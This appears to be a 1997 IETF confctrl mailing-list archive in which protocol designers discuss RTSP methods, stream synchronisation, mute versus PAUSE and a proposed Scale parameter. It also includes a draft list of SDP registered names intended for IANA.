>delivering a Quicktime/AVI/ASF movie) to avoid problems with
>presentation authors piecing together unrelated media objects.

Given that the delay from a user pressing "go" to the server getting
the message is not predictable, how would you suggest synchronised
startup of playback of separate audio and video streams is performed
if you don't have a common RTSP session (and can therefore guarantee
atomicity)?  

You can buffer the first stream which arrives, but this does seem to
complicate the issue somewhat wrt the client knowing for certain that
the later stream is definitely going to start arriving eventually.

Mark

From majordom@ISI.EDU  Tue Mar 25 08:31:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18190>; Tue, 25 Mar 1997 10:31:26 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18182>; Tue, 25 Mar 1997 10:31:25 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18956>; Tue, 25 Mar 1997 10:31:14 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA23359; Tue, 25 Mar 1997 13:31:07 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id NAA09455; Tue, 25 Mar 1997 13:31:06 -0500 (EST)
Message-Id: <333819EA.3B4B@cs.columbia.edu>
Date: Tue, 25 Mar 1997 13:31:06 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Mark Handley <mjh@isi.edu>
Cc: confctrl@isi.edu
Subject: Re: Mute vs. PAUSE in RTSP
References: <6362.859309843@buttle.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark Handley wrote:
> 
> >In discussions I've had since I wrote this note, I'm becoming more
> >convinced that a single RTSP session should really only control a single
> >media stream (which may consist of several substreams, as when you are
> >delivering a Quicktime/AVI/ASF movie) to avoid problems with
> >presentation authors piecing together unrelated media objects.
> 
> Given that the delay from a user pressing "go" to the server getting
> the message is not predictable, how would you suggest synchronised
> startup of playback of separate audio and video streams is performed
> if you don't have a common RTSP session (and can therefore guarantee
> atomicity)?

You have to solve the same problem if two streams are on two different
servers (that's where the time= parameter kicks in to start them both at
the same wallclock time to minimize the effect of RTSP latency
differences). If the streams are on a single server, the two commands
should be in one UDP/TCP packet (easy, since RTSP "connections" are
divorced from TCP connections). Can't necessarily force this for TCP,
but for practical purposes, this will work. 

> 
> You can buffer the first stream which arrives, but this does seem to
> complicate the issue somewhat wrt the client knowing for certain that
> the later stream is definitely going to start arriving eventually.

Indeed, but that's a problem you are going to have to solve if you allow
distributing streams across servers or from a single server across
different RSVP flows (possibly QOS-routed across different paths).

> 
> Mark

Based on my example in the subsequent message, controlling groups of
streams may not be quite as hard if the server can know which URLs refer
to individual streams and which URL names the group. The directory
notation that I have used (/movie/ is the whole stream /movie/audio.en
is the substream) may be sufficient. Note that there's no reason this
can't be server-specific, as long as the writer of the presentation file
adheres to the convention. 


Henning

From majordom@ISI.EDU  Tue Mar 25 20:40:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18919>; Tue, 25 Mar 1997 10:40:26 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18913>; Tue, 25 Mar 1997 10:40:25 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19419>; Tue, 25 Mar 1997 10:40:22 -0800
Received: by www45.inria.fr (8.8.5/8.6.12) id TAA01759; Tue, 25 Mar 1997 19:40:16 +0100 (MET)
Message-Id: <199703251840.TAA01759@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Re: Mute vs. PAUSE in RTSP 
In-Reply-To: Your message of "Tue, 25 Mar 1997 11:09:11 EST."
             <3337F8A7.27F7@cs.columbia.edu> 
Date: Tue, 25 Mar 1997 19:40:15 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Yes, three choices: either a single RTP session (if RTP, using different
>SSRCs and PTs - I'm not claiming this is a good idea), as an
>AVI/Quicktime/ASF format encapsulated as RTP packets or as separate RTP
>streams (separate ports, etc.), where the client has no clue that they
>came from the same on-disk media file. 

Ok, this clears things up.

Note that in Quicktime, you don't necessarily have to have all your
data in a single file - you can include data "by reference" when it is
local, using MacOS filenames.
 
The extension to URLs is pretty straightforward, and has been done 
experimentally 
(see 
http://www.w3.org/pub/WWW/AudioVideo/9610_Workshop/paper20/paper20.txt)
This makes mapping onto seperate RTP streams even easier.

Today, however, you have to "flatten" the movie if you put QT stuff 
on the Internet, i.e. put all data into a single file.
But this is just one particular choice in the Quicktime architecture.


From majordom@ISI.EDU  Tue Mar 25 10:34:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26113>; Tue, 25 Mar 1997 12:39:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26099>; Tue, 25 Mar 1997 12:39:43 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25302>; Tue, 25 Mar 1997 12:36:23 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA07078; Tue, 25 Mar 1997 15:34:35 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: SDP assigned names
Date: Tue, 25 Mar 1997 15:34:35 -0500
Message-Id: <7076.859322075@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


One of the things I believe we need to do to take SDP forward to
proposed standard is to define a procedure for registering new
protocols, formats, attributes, etc with IANA.  As a first step, I've
collected together all the identifiers I believe are in current use or
are defined in the SDP or other specs.  

The following list is what I believe are actually in use, a brief
description of their purpose, and where their use is specified.  I've
almost certainly forgotten some.  Please let me know if you're using
anything not listed here.

Mark

--------

Registered Names for the Session Description Protocol (SDP)
===========================================================

Mark Handley, ISI
25th March 1997

The session description protocol provides a mechanism for describing a
multimedia session in sufficient detail that the possessor of such a
description can decide whether or not it is capable of joining the
session, and to join the session if desired.  Many values used by SDP
such as protocols, formats and attributes possess specific meaning.
To use them in an SDP description their use should be defined in a
specification document and registered with the Internet Assigned
Numbers Authority.  The exception to this is attributes, which may be
used unassigned, but unassigned attributes must avoid clashes with
defined attributes and must be ignored by SDP receivers that do not
understand them.

The following SDP values may currently be used with the SDP
specification.  For each value, a brief description of its meaning is
given and a reference to where the use of this value is more fully
defined.  This list may be extended by IANA.

Network Type
============
Value           Meaning
-----           -------
IN              Internetwork

Address Type
============
Value           Meaning
-----           -------
IP4             IP version 4
                (use is defined in SDP specification: RFC????)

IP6             IP version 6
                (use is defined in SDP specification: RFC????)

Bandwidth Modifiers
===================
The SDP specification describes the use of experimental bandwidth modifiers,
which can safely be ignored by a client.

An unknown non-experimental bandwidth attribute should cause the
session to be rejected.

Value           Meaning
-----           -------
CT              Conference Total 
                (use is defined in SDP specification: RFC????)

AS              Application Specific Maximum 
                (use is defined in SDP specification: RFC????)

Encryption Key Access Mechanisms
================================
An unknown encryption key access mechanism means the session cannot be
joined.

Value           Meaning
-----           -------
clear           The key field contains the untransformed encryption key.
                (use is defined in SDP specification: RFC????)

base64          The key field contains the base 64 encode key
                (use is defined in SDP specification: RFC????)

uri             The key field contains a URI to be used to obtain the key.
                (use is defined in SDP specification: RFC????)

prompt          The user should be prompted for the key
                (use is defined in SDP specification: RFC????)

Media
=====

SDP allows descriptions of various media streams.  Proliferation of
top-level media types is discouraged.  An unknown media means the
session cannot be joined completely, and clients may choose to reject
the entire session.

Value           Meaning
-----           -------
audio           An audio data stream.

video           A video data stream.

whiteboard      A whiteboard or drawing program.

text            A text-based communications channel.

control         A conference control channel.

data            Raw data such as program code not intended for live presentation.

Transport Protocols and Payload Formats
=======================================

SDP allows both a transport protocol and a payload format to be
defined.  In some cases it is not clear that there is a distinction
between transport protocol and payload format.  In such cases, the
protocol name (typically the application name in such cases) goes in
the format field, and a transport protocol such as "udp" or "tcp" is
specified.

Payload format names are only meaningful in the context of a transport
protocol and media.

Unknown protocols or formats mean the session cannot be joined
completely, and clients may choose to reject the entire session.


Media   Transport  Format     Meaning
-----   ---------  ------     -------
audio   RTP/AVP    <numeric>  Audio data transported using RTP (rfc 1889) and 
                              the Audio/Video profile (rfc 1890).  The format
                              value is numeric and gives the payload type as
                              specified in rfc 1890, or a dynamic payload type
                              accompanied by an rtpmap attribute.
                              (use is defined in SDP specification: RFC????)

audio   vat        pcm        Audio data transported using LBL's old Visual
audio   vat        pcm2       Audio Tool packet format. (use is depricated)
audio   vat        pcm4       
audio   vat        dvi        
audio   vat        dvi2       
audio   vat        dvi4       
audio   vat        gsm        
audio   vat        lpc4       
                              

video   RTP/AVP    <numeric>  Video data transported using RTP (rfc 1889) and
                              the Audio/Video profile (rfc 1890).  The format
                              value is numeric and gives the payload type as
                              specified in rfc 1890, or a dynamic payload type
                              accompanied by an rtpmap attribute.
                              (use is defined in SDP specification: RFC????)

video   rtp        h261       Video data transported using RTP version 1
video   rtp        nv         (use is depricated)
video   rtp        celb
video   rtp        jpeg

whiteboard udp     wb         Whiteboard data in LBL whiteboard format.
                              (use is defined in SDP specification: RFC????)

text    udp        nt         Text editor data in UCL Network Text Editor 
                              format.
                              (use is defined in SDP specification: RFC????)

control H323       mc         Control channel used to contact the H.323 
                              multipoint controller in an H.332 session.
                              (use is defined in H.332 specification)

control H323       caps       Control channel used to contact the H.323 
                              capability negotiation server in an H.332 
                              session.
                              (use is defined in H.332 specification)



Attributes
==========

SDP attributes may only make sense when used at the session-level, at
the media-level or both.  Unknown attributes may be safely ignored.
Attributes defined in this document should not be ignored.

Session Level Attributes Only
-----------------------------
Value           Meaning
-----           -------
cat             The attribute gives a categorisation of the session.
                (use is defined in SDP specification: RFC????)

keywds          The attribute gives keywords that may be use to 
                identify relevant sessions.
                (use is defined in SDP specification: RFC????)

type            The attribute gives the session type.
                (use is defined in SDP specification: RFC????)
                Valid values are:
type:broadcast  The session is a loosely coupled broadcast.
                (use is defined in SDP specification: RFC????)
type:meeting    The session is a loosely coupled meeting.
                (use is defined in SDP specification: RFC????)
type:moderated  The session is a moderated meeting.
                (use is defined in SDP specification: RFC????)
type:H332        The session is an H.Loosely-coupled session
                (use is defined in ITU H.Loosely-coupled)
type:test       The session is a test
                (use is defined in SDP specification: RFC????)

charset         This attribute gives the character set for other SDP records.
                (use is defined in SDP specification: RFC????)
                The default if the attribute is not specified is ISO-8859-1.
                Valid values are:
charset:unicode-1-1-utf-7
                The session description uses the ISO 10646 character set
                encoded using the UTF-7 (RFC 1642) tranform.
                (use is defined in SDP specification: RFC????)

tool            The attribute gives the name and version number of the tool
                used to create the session description
                (use is defined in SDP specification: RFC????)

Session and Media Level Attributes
----------------------------------
These attributes can be used at session and media levels.  When used
at the session-level, they apply to all media unless overridden by the
same media level attribute.  In addition, the session level attributes
(especially "type") may imply defaults for these.

Value           Meaning
-----           -------
recvonly        The session or medium is unidirectional (receive only).
                (use is defined in SDP specification: RFC????)

sendrecv        The session or medium is bidirectional
                This is the default if not specified, and is only required
                to override a session-level recvonly or sendonly attribute.
                (use is defined in SDP specification: RFC????)

sendonly        The session or medium is unidirectional (send-only)
                Note: recvonly, sendrecv, and sendonly are mutually exclusive.
                (use is defined in SDP specification: RFC????)

Media Level Attributes
----------------------
Some media level attributes are only meaningful with specific media,
protocols or formats.

Value           Used with                Meaning
-----           ---------                -------
ptime           audio media             The length of time in milliseconds 
                                        in each audio packet.
                                        (use is defined in SDP spec: RFC????)

orient          whiteboard type media   The orientation of the page.
                                        (use is defined in SDP spec: RFC????)
                                        Permitted values are:
orient:portrait                         Portrait format
                                        (use is defined in SDP spec: RFC????)
orient:landscape                        Landscape format
                                        (use is defined in SDP spec: RFC????)
orient:seascape                         Upside-down landscape format
                                        (use is defined in SDP spec: RFC????)

framerate       video media             The video frame rate
                                        (use is defined in SDP spec: RFC????)

quality         media with lossy        The quality value.
                compression             (use is defined in SDP spec: RFC????)

rtpmap          RTP protocol            Defines the mapping between codec name
                                        and an RTP dynamic payload type
                                        (use is defined in SDP spec: RFC????)

rtpred1         RTP audio using         Gives the payload type of the primary
                redundancy              encoding in an audio stream with
                                        redundancy.
                                        (use is defined in redundancy
                                         specification: RFC ????)
 
rtpred2         RTP audio using         Gives the payload type of secondary
                redundancy              encoding in an audio stream with
                                        redundancy.
                                        (use is defined in redundancy
                                         specification: RFC ????)
 


From majordom@ISI.EDU  Wed Mar 26 00:11:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01929>; Tue, 25 Mar 1997 14:12:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01923>; Tue, 25 Mar 1997 14:12:04 -0800
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00279>; Tue, 25 Mar 1997 14:11:50 -0800
Received: from salt.cdt.luth.se (root@salt.cdt.luth.se [130.240.193.242]) by basil.cdt.luth.se (8.7.5/8.7.3) with ESMTP id XAA18673; Tue, 25 Mar 1997 23:09:37 +0100 (MET)
Received: from salt (peppar@localhost [127.0.0.1]) by salt.cdt.luth.se (8.6.12/8.6.12) with ESMTP id XAA15784; Tue, 25 Mar 1997 23:11:26 +0100
Message-Id: <199703252211.XAA15784@salt.cdt.luth.se>
X-Mailer: exmh version 2.0gamma 1/24/96
To: Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
Subject: Re: SDP assigned names 
In-Reply-To: Your message of "Tue, 25 Mar 1997 15:34:35 EST."
             <7076.859322075@buttle.lcs.mit.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 25 Mar 1997 23:11:25 +0100
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

mjh@ISI.EDU said:
> Media =====
> SDP allows descriptions of various media streams.  Proliferation of
> top-level media types is discouraged.  An unknown media means the
> session cannot be joined completely, and clients may choose to reject
> the entire session.

I'd like to see an addition for multicasted HTML for which there exists several application today (I know of at least three different projects). 
Type = html

Another media-type I use here is talk (should that be chat following de-facto non-unix "standards"? The word chat makes it also much easier to explain to non-unix freaks what it does :-) ) for text based multicasted text-"talk".  
Type = text

/P





From majordom@ISI.EDU  Tue Mar 25 12:31:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05158>; Tue, 25 Mar 1997 14:34:27 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05144>; Tue, 25 Mar 1997 14:34:25 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01727>; Tue, 25 Mar 1997 14:33:55 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA10564; Tue, 25 Mar 1997 17:31:45 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Peter Parnes <peppar@cdt.luth.se>
Cc: confctrl@ISI.EDU
Subject: Re: SDP assigned names 
In-Reply-To: Your message of "Tue, 25 Mar 1997 23:11:25 +0100."
             <199703252211.XAA15784@salt.cdt.luth.se> 
Date: Tue, 25 Mar 1997 17:31:45 -0500
Message-Id: <10562.859329105@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>mjh@ISI.EDU said:
>> Media =====
>> SDP allows descriptions of various media streams.  Proliferation of
>> top-level media types is discouraged.  An unknown media means the
>> session cannot be joined completely, and clients may choose to reject
>> the entire session.
>
>I'd like to see an addition for multicasted HTML for which there exists severa
>l application today (I know of at least three different projects). 
>Type = html

Yes, I know of the existence of several projects too.  I believe these
fall under "text" media.  What I don't have is any reference to any
protocol.

I suggest protocol=udp, format=some-short-form-of-the-application-name.  
If there's anything in active use, then let me know, I'll add it to
the initial set that I hand to IANA.

Otherwise people can always write a spec later and request it be
registered.

>Another media-type I use here is talk (should that be chat following de-facto 
>non-unix "standards"? The word chat makes it also much easier to explain to no
>n-unix freaks what it does :-) ) for text based multicasted text-"talk".  
>Type = text

Yes, again:
media=text, protocol=udp, format=some-short-form-of-the-application-name.

Same applies - let me know what's in current usage.

The general guideline is that if the protocol is standards track, or
needs to be used with muliple formats, you get to name it directly in
the protocol field.  If it's not, you don't, and specify "udp" as the
protocol.  vat was an exception for historical reasons.

Mark

From majordom@ISI.EDU  Tue Mar 25 14:21:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13475>; Tue, 25 Mar 1997 16:24:03 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13469>; Tue, 25 Mar 1997 16:24:00 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08856>; Tue, 25 Mar 1997 16:23:57 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id TAA10944; Tue, 25 Mar 1997 19:21:58 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: FYI: application/sdp
Date: Tue, 25 Mar 1997 19:21:58 -0500
Message-Id: <10942.859335718@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I've submitted an application for the MIME content-type
"application/sdp".  Although it's not formally required, I thought I
should inform the list in case anyone has any problem with this.
We should get notification of acceptance (or not) in two weeks or so.
The current draft specifies "application/x-sdp".

Mark

From majordom@ISI.EDU  Tue Mar 25 09:45:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20922>; Tue, 25 Mar 1997 19:15:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20916>; Tue, 25 Mar 1997 19:15:09 -0800
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18346>; Tue, 25 Mar 1997 19:14:57 -0800
Received: by INET-05-IMC with Internet Mail Service (5.0.1457.3)
	id <HVHLM1GZ>; Tue, 25 Mar 1997 17:48:30 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46AFD@red-68-msg.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RTSP Terminology (again)
Date: Tue, 25 Mar 1997 17:45:14 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The March 24th version of RTSP seems to have adopted many of the
terminology discussions which occurred on this list. However, the
current usage doesn't seem to be as clear as I had hoped.

In my mind, there are at least three terms which need to be
"standardized":
1)	The term for a single media stream. 
2)	The term for a grouping of media streams which are treated as a
unit
3)	The term for the global RTSP control experience itself.

In Section 1.3 the first entity is defined as a "(media) stream" and the
third entity is defined as a "session". (Please correct me if I have
misunderstood these definitions.) There doesn't appear to be any
definition for the second entity. However, the current text uses the
term "event" in several sections (e.g., Sect 3.5) and this use makes me
think that this term is indeed being used for the second entity. (If it
doesn't, then we really should have a definition as to what "event"
means in those contexts.)

Would it be possible to establish a term to refer to a "grouping of
media streams which are treated as a unit" and put that definition into
Section 1.3. Once that is done, I would like to see that document refer
to that "grouping" for all control over media issues. Perhaps, therefore
the definition can refer to "one or more media streams" so that we could
have one term to refer to all sets of streams which need to be
controlled by RTSP.

Regardless, please provide me with feedback concerning the current state
of our terminology discussions. They were going strong when I left for
vacation but I haven't heard anything new for the past two weeks. Did we
ever achieve consensus or did the discussions die of "battle fatigue"?

From majordom@ISI.EDU  Tue Mar 25 08:49:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23791>; Tue, 25 Mar 1997 20:47:35 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23785>; Tue, 25 Mar 1997 20:47:32 -0800
Received: from INET-01-IMC.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22178>; Tue, 25 Mar 1997 20:47:31 -0800
Received: by mail1.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <H4YSBSNH>; Tue, 25 Mar 1997 16:49:50 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46AFB@red-68-msg.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Revised RTSP Methods
Date: Tue, 25 Mar 1997 16:49:46 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I just retrieved the March 24th version of RTSP from
http://www.cs.columbia.edu/~hgs/rtsp/draft/rtsp.txt.

First Issue:
I must confess a degree of concern over changes which have been made to
section 9 (i.e., the Methods section) from the internet-draft version
(dated Feb 22). My concern stems from the fact that with the sole
exception of the BYE command, I haven't seen any discussion on this list
as to why any of these changes are being made.

My cursory glance seems to indicate that both the BYE and GET methods
are gone.

Three new methods have been added: DESCRIBE, OPTIONS and "'".

It appears that the DESCRIBE method is very similar to the former GET
method. I discuss this in the "fourth issue" section below.

Second Issue:
In a previous message (sent on 3/5/97) I had asked for the PLAY method
to also have an optional "rate" parameter in addition to its offset and
range parameter. Discussions at the time led me to believe that there
was wide-spread agreement with this suggestion - or, at least, the lack
of push-back. However, this parameter did not appear to make it into the
document. I would therefore like to re-interate this request since the
rate parameter is needed to be able to indicate fast-forward/fast-rewind
information.

[Please recall that this rate parameter does *not* refer to the data
rate - the data rate is fixed for that session, or at least may be
"fixed" for applications such as ours. Rather, "rate" refers to the
timeline upon which the streaming "media experience" is built. The
timeline rate may be arbitrarily sped up. For fast-forward and
fast-rewind, the server therefore has to compute at what offset to "skip
to" to match that accelerated timeline. It is aided in this task by the
indexing present in certain media types - no indexing, then no
fast-forward or fast-rewind capability. What this generally means is
that only the key-frames are sent during fast-forward and fast-reverse.
And not every key-frame will necessarily be set depending on the
timeline acceleration speed selected for the timeline advancement."]

Third Issue:
Also, I thought that we had agreed to the concept that the Range
parameter for the PLAY method can also indicate an offset from which
play is to begin. According to my (faulty) memory, the offset is merely
a Range parameter lacking the "-" and the second number. Could we please
have examples giving both the offset use of Range? I ask because I think
that the offset use is much more useful than the range. (Or, at least, I
have trouble imagining how to use the Range in our implementation but I
can think of many examples of how to use the Offset.)

Fourth Issue:
Finally, I am sorry to see the absence of the GET method. I greatly
valued this method and anticipated using it to retrieve session
description information for sessions formed by streaming media file
(e.g., QuickTime, ASF, AVI, or RMFF) data.

The part of the GET method which has been retained within the DESCRIBE
method is that part which corresponds to SDP. However, SDP has not
envisioned the full gamut of session description possibilities,
especially those possibilities which may pertain to describing media
file-based content. This type of info would probably be best returned by
the second GET response type (e.g., opaque) which permits a more
flexible encoding range but which doesn't seem to exist for DESCRIBE.
Could this alternative be re-added to DESCRIBE?


From majordom@ISI.EDU  Tue Mar 25 02:07:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25809>; Tue, 25 Mar 1997 22:21:42 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25803>; Tue, 25 Mar 1997 22:21:39 -0800
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25239>; Tue, 25 Mar 1997 22:21:39 -0800
Received: by mail2.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <H4TLKFPZ>; Tue, 25 Mar 1997 10:36:05 -0800
Message-Id: <E13B15DD7E88CF11873A00805FD436AA022818E5@RED-23-MSG.dns.microsoft.com>
From: "Steven Levi (ICCD)" <levi@microsoft.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        Sampo Syreeni
	 <decoy@edu.lahti.fi>
Cc: confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP
Date: Tue, 25 Mar 1997 10:07:14 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Sorry, I do not under stand the value of mute at all.  For multicast
(and live unicast) , is should  just stop/un-join (stop) . When one
wants to "un-mute" it should just start again - why add an extra verb
and additional server state. Similarly, for on-demand - if the client
wants to mute it should:  a) turn down the volume :-)  or b) perform  a
stop, monitor the time duration between mute and un-mute, and start at
the new location.  This command implies the need for  totally
unnecessary state on the server side that could easily be managed by the
client. 


	-----Original Message-----
	From:	Henning Schulzrinne [SMTP:schulzrinne@cs.columbia.edu]
	Sent:	Tuesday, March 25, 1997 5:42 AM
	To:	Sampo Syreeni
	Cc:	confctrl@isi.edu
	Subject:	Re: Mute vs. PAUSE in RTSP

	Muting for multicast should be done by dropping membership, so
that the
	network can be relieved of carrying data. Does not require RTSP
help
	(and RTSP wouldn't help here, anyway).

	In discussions I've had since I wrote this note, I'm becoming
more
	convinced that a single RTSP session should really only control
a single
	media stream (which may consist of several substreams, as when
you are
	delivering a Quicktime/AVI/ASF movie) to avoid problems with
	presentation authors piecing together unrelated media objects.
Muting,
	however, may still be useful in some circumstances, but its
interaction
	with PAUSE requires further thought. Probably a version-2 item.

From majordom@ISI.EDU  Wed Mar 26 03:12:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01977>; Wed, 26 Mar 1997 05:12:21 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01971>; Wed, 26 Mar 1997 05:12:18 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08015>; Wed, 26 Mar 1997 05:12:16 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA20820; Wed, 26 Mar 1997 08:12:15 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA11635; Wed, 26 Mar 1997 08:12:14 -0500 (EST)
Message-Id: <333920AD.24D4@cs.columbia.edu>
Date: Wed, 26 Mar 1997 08:12:13 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Revised RTSP Methods
References: <503A2A3C2932CF118D8800805FD44E1802F46AFB@red-68-msg.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> I just retrieved the March 24th version of RTSP from
> http://www.cs.columbia.edu/~hgs/rtsp/draft/rtsp.txt.
> 
> First Issue:
> I must confess a degree of concern over changes which have been made to
> section 9 (i.e., the Methods section) from the internet-draft version
> (dated Feb 22). My concern stems from the fact that with the sole
> exception of the BYE command, I haven't seen any discussion on this list
> as to why any of these changes are being made.
> 
> My cursory glance seems to indicate that both the BYE and GET methods
> are gone.

See 'Changes' section.

GET was changed to DESCRIBE, to avoid confusion with the GET method in
HTTP (since it has a very different functionality, namely to retrieve
the object itself rather than its description). The text for DESCRIBE is
the same as before.

> 
> Three new methods have been added: DESCRIBE, OPTIONS and "'".
> 
> It appears that the DESCRIBE method is very similar to the former GET
> method. I discuss this in the "fourth issue" section below.

No functional change has occurred here.

> 
> Second Issue:
> In a previous message (sent on 3/5/97) I had asked for the PLAY method
> to also have an optional "rate" parameter in addition to its offset and
> range parameter. Discussions at the time led me to believe that there
> was wide-spread agreement with this suggestion - or, at least, the lack
> of push-back. However, this parameter did not appear to make it into the
> document. I would therefore like to re-interate this request since the
> rate parameter is needed to be able to indicate fast-forward/fast-rewind
> information.
> 

Unless I'm missing some discussion, this is an oversight on my part in
translating discussion into document verbiage. My suggestion would be to
call this parameter "Scale", in accordance with DSM-CC terminology.
Also, "Speed" should probably be renamed to "Rate" or, maybe better yet,
"Datarate".

Also, I'd like comments on the following:

\motivation{HS: With 'Scale', the negative value is redundant and should
probably be removed since it only leads to possible conflicts when Scale 
is positive and Speed negative.}

The new text reads:


\subsection{Scale}
\label{sec:Scale}
 
A scale value of 1 indicates normal play or record at the normal forward
viewing rate. If not 1, the value corresponds to the rate
with respect to normal viewing rate. For example, a ratio of 2 indicates
twice the normal viewing rate (``fast forward'') and a ratio of 0.5
indicates half the normal viewing rate. In other words, a ratio of 2
has    
normal play time increase at twice the wallclock rate. For every
second   
of elapsed (wallclock) time, 2 seconds of content will be delivered.
A negative value indicates reverse direction.
 
Unless requested otherwise by the {\sf Speed} parameter, the data rate
SHOULD not be changed.  Implementation of scale changes depends on the
server and media type.  For video, a server may, for example, deliver
only key frames or selected key frames.  For audio, it may time-scale
the audio while preserving pitch or, less desirably, deliver fragments
of audio.
 
The server should try to approximate the viewing rate, but may restrict 
the range of scale values that it supports.  The response MUST contain
the actual scale value chosen by the server.
 
If the request contains a {\sf Range} parameter, the new scale value
will take effect at that time.
 
